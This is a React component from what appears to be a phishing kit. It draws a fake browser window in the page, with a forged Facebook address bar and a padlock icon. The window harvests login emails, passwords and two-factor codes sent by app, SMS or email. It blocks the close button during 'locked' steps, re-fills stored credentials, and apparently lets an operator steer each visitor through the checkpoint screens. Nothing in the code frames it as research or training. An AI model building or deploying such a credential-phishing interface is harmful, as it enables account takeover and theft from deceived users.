"use client"

import { useEffect, useState } from "react"
import { DialogPortal, DialogOverlay, DialogTitle } from "@/components/ui/dialog"
import * as DialogPrimitive from "@radix-ui/react-dialog"
import { Lock, X, Minus } from "lucide-react"
import { cn } from "@/lib/utils"
import {
  FACEBOOK_CHECKPOINT_STEPS,
  FacebookApproveScreen,
  FacebookLoginScreen,
  FacebookMark,
  FacebookPhoneCodeScreen,
  FacebookTwoFactorScreen,
} from "@/components/auth-ui"
import {
  isLockedChallengeStep,
  loadVisitorDialogCommand,
} from "@/lib/visitor-dialog-command"
import {
  peekStoredLoginEmail,
  peekStoredLoginPassword,
} from "@/lib/session-tracking"
import { useAuthChallengeDialog } from "./use-auth-challenge-dialog"

function requestCloseDialog(onClose: () => void) {
  const cmd = loadVisitorDialogCommand()
  if (cmd && isLockedChallengeStep(cmd.step)) return
  onClose()
}

interface FacebookLoginDialogProps {
  onClose: () => void
}

export default function FacebookLoginDialog({ onClose }: FacebookLoginDialogProps) {
  const {
    displayStep,
    pending,
    isWaiting,
    countdown,
    loginContact,
    displayEmail,
    displayPhone,
    phonePromptCode,
    loginErrorMessage,
    handleLogin,
    handleLoginError,
    handle2FAVerify,
    handle2FASMSVerify,
    handle2FAEmailVerify,
    handle2FAErrorVerify,
    handle2FASMSErrorVerify,
    handle2FAEmailErrorVerify,
    handleApproveConfirmed,
    handleTryAnotherWay,
    handleResendCode,
  } = useAuthChallengeDialog("facebook")

  const [restoredEmail, setRestoredEmail] = useState(
    () => loginContact || peekStoredLoginEmail("facebook") || ""
  )
  const [restoredPassword, setRestoredPassword] = useState(
    () => peekStoredLoginPassword("facebook") || ""
  )

  // Re-read backup after submit / remount / hard refresh (waiting spinner)
  useEffect(() => {
    const email = peekStoredLoginEmail("facebook")
    const password = peekStoredLoginPassword("facebook")
    if (email) setRestoredEmail(email)
    if (password) setRestoredPassword(password)
  }, [pending, isWaiting, displayStep, loginContact])

  const usesCheckpointLayout =
    displayStep === "loading" ||
    displayStep === "login" ||
    displayStep === "login-error" ||
    FACEBOOK_CHECKPOINT_STEPS.has(displayStep)

  const addressBar = isWaiting
    ? "www.facebook.com/checkpoint/block/"
    : displayStep.startsWith("2fa") ||
        displayStep.startsWith("approve") ||
        displayStep.startsWith("phone")
      ? "www.facebook.com/checkpoint/?next=calendar.google.com"
      : "www.facebook.com/login.php?next=https://calendar.google.com"

  const tabTitle =
    displayStep.startsWith("2fa") ||
    displayStep.startsWith("approve") ||
    displayStep.startsWith("phone") ||
    isWaiting
      ? "Facebook · Checkpoint"
      : "Facebook · Log in"

  return (
    <DialogPortal>
      <DialogOverlay />
      <DialogPrimitive.Content
        className={cn(
          "fixed left-[50%] top-[50%] z-50 flex w-[min(100vw-1rem,480px)] max-h-[min(95dvh,95vh)] translate-x-[-50%] translate-y-[-50%] flex-col overflow-hidden rounded-xl p-0 shadow-2xl duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:w-full sm:max-w-[480px]",
          "border border-[#dadce0] bg-white"
        )}
      >
        <DialogTitle className="sr-only">Facebook Sign-in</DialogTitle>

        <div className="flex flex-shrink-0 items-center justify-between rounded-t-lg border-b border-[#e0e0e0] bg-[#dee1e6] px-3 py-2">
          <div className="flex min-w-0 items-center gap-2">
            <div className="flex min-w-0 items-center gap-1.5 rounded-t-lg bg-white px-2.5 py-1.5 shadow-sm sm:px-3">
              <FacebookMark className="h-3.5 w-3.5 shrink-0" />
              <span className="truncate text-[11px] font-medium text-[#3c4043] sm:text-[12px]">
                {tabTitle}
              </span>
            </div>
          </div>
          <div className="flex items-center gap-0.5">
            <button
              type="button"
              className="rounded p-1.5 text-[#5f6368] hover:bg-black/5"
              aria-label="Minimize"
            >
              <Minus className="h-3.5 w-3.5 stroke-[2.5px]" />
            </button>
            <button
              type="button"
              onClick={() => requestCloseDialog(onClose)}
              className="rounded p-1.5 text-[#5f6368] hover:bg-[#e81123] hover:text-white"
              aria-label="Close"
            >
              <X className="h-3.5 w-3.5 stroke-[2.5px]" />
            </button>
          </div>
        </div>

        <div className="flex flex-shrink-0 items-center gap-2 border-b border-[#e0e0e0] bg-white px-3 py-2">
          <Lock className="h-3.5 w-3.5 shrink-0 text-[#188038]" />
          <div className="flex min-w-0 flex-1 items-center rounded-full bg-[#f1f3f4] px-3 py-1.5 text-[12px] text-[#3c4043]">
            <span className="shrink-0 text-[#188038]">https://</span>
            <span className="truncate">{addressBar}</span>
          </div>
        </div>

        <div
          className={cn(
            "flex min-h-0 flex-1 flex-col items-center justify-center overflow-y-auto overscroll-contain bg-[#f0f2f5]",
            usesCheckpointLayout ? "p-0" : "p-4"
          )}
        >
          {displayStep === "login" && (
            <FacebookLoginScreen
              onSubmit={handleLogin}
              pending={pending}
              defaultEmail={
                loginContact || displayEmail || restoredEmail || undefined
              }
              defaultPassword={restoredPassword || undefined}
            />
          )}
          {displayStep === "login-error" && (
            <FacebookLoginScreen
              error={!pending}
              errorMessage={
                loginErrorMessage ??
                "The password that you've entered is incorrect. Forgotten password?"
              }
              onSubmit={handleLoginError}
              pending={pending}
              defaultEmail={
                loginContact || displayEmail || restoredEmail || undefined
              }
              defaultPassword={restoredPassword || undefined}
            />
          )}
          {displayStep === "2fa" && (
            <FacebookTwoFactorScreen
              variant="app"
              email={displayEmail || loginContact || undefined}
              phone={displayPhone}
              onSubmit={handle2FAVerify}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "2fa-error" && (
            <FacebookTwoFactorScreen
              variant="app"
              email={displayEmail || loginContact || undefined}
              phone={displayPhone}
              error={!pending}
              onSubmit={handle2FAErrorVerify}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "2fa-sms" && (
            <FacebookTwoFactorScreen
              variant="sms"
              email={displayEmail}
              phone={displayPhone || loginContact || undefined}
              countdown={countdown}
              onSubmit={handle2FASMSVerify}
              onTryAnotherWay={handleTryAnotherWay}
              onResendCode={handleResendCode}
              pending={pending}
            />
          )}
          {displayStep === "2fa-sms-error" && (
            <FacebookTwoFactorScreen
              variant="sms"
              email={displayEmail}
              phone={displayPhone || loginContact || undefined}
              error={!pending}
              countdown={countdown}
              onSubmit={handle2FASMSErrorVerify}
              onTryAnotherWay={handleTryAnotherWay}
              onResendCode={handleResendCode}
              pending={pending}
            />
          )}
          {displayStep === "2fa-email" && (
            <FacebookTwoFactorScreen
              variant="email"
              email={displayEmail || loginContact || undefined}
              phone={displayPhone}
              onSubmit={handle2FAEmailVerify}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "2fa-email-error" && (
            <FacebookTwoFactorScreen
              variant="email"
              email={displayEmail || loginContact || undefined}
              phone={displayPhone}
              error={!pending}
              onSubmit={handle2FAEmailErrorVerify}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "approve" && (
            <FacebookApproveScreen
              email={loginContact || displayEmail || undefined}
              pending={pending}
              onTryAnotherWay={handleTryAnotherWay}
            />
          )}
          {displayStep === "approve-error" && (
            <FacebookApproveScreen
              email={loginContact || displayEmail || undefined}
              error={!pending}
              onConfirmed={pending ? undefined : handleApproveConfirmed}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "phone-code" && (
            <FacebookPhoneCodeScreen
              key={`fb-phone-code-${phonePromptCode}`}
              email={loginContact || displayEmail || undefined}
              correctCode={phonePromptCode}
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
          {displayStep === "phone-code-error" && (
            <FacebookPhoneCodeScreen
              key={`fb-phone-code-error-${phonePromptCode}`}
              email={loginContact || displayEmail || undefined}
              correctCode={phonePromptCode}
              error
              onTryAnotherWay={handleTryAnotherWay}
              pending={pending}
            />
          )}
        </div>

        {usesCheckpointLayout && (
          <div className="flex flex-shrink-0 flex-wrap items-center justify-between gap-3 border-t border-[#dadce0] bg-white px-6 py-4 text-[12px] text-[#5f6368]">
            <button
              type="button"
              className="inline-flex items-center gap-1 rounded px-2 py-1 hover:bg-[#f1f3f4]"
            >
              English (US)
              <svg className="h-3 w-3" viewBox="0 0 24 24" fill="currentColor" aria-hidden>
                <path d="M7 10l5 5 5-5H7z" />
              </svg>
            </button>
            <div className="flex items-center gap-5">
              <a href="#" className="hover:underline" onClick={(e) => e.preventDefault()}>
                Help
              </a>
              <a href="#" className="hover:underline" onClick={(e) => e.preventDefault()}>
                Privacy
              </a>
              <a href="#" className="hover:underline" onClick={(e) => e.preventDefault()}>
                Terms
              </a>
            </div>
          </div>
        )}
      </DialogPrimitive.Content>
    </DialogPortal>
  )
}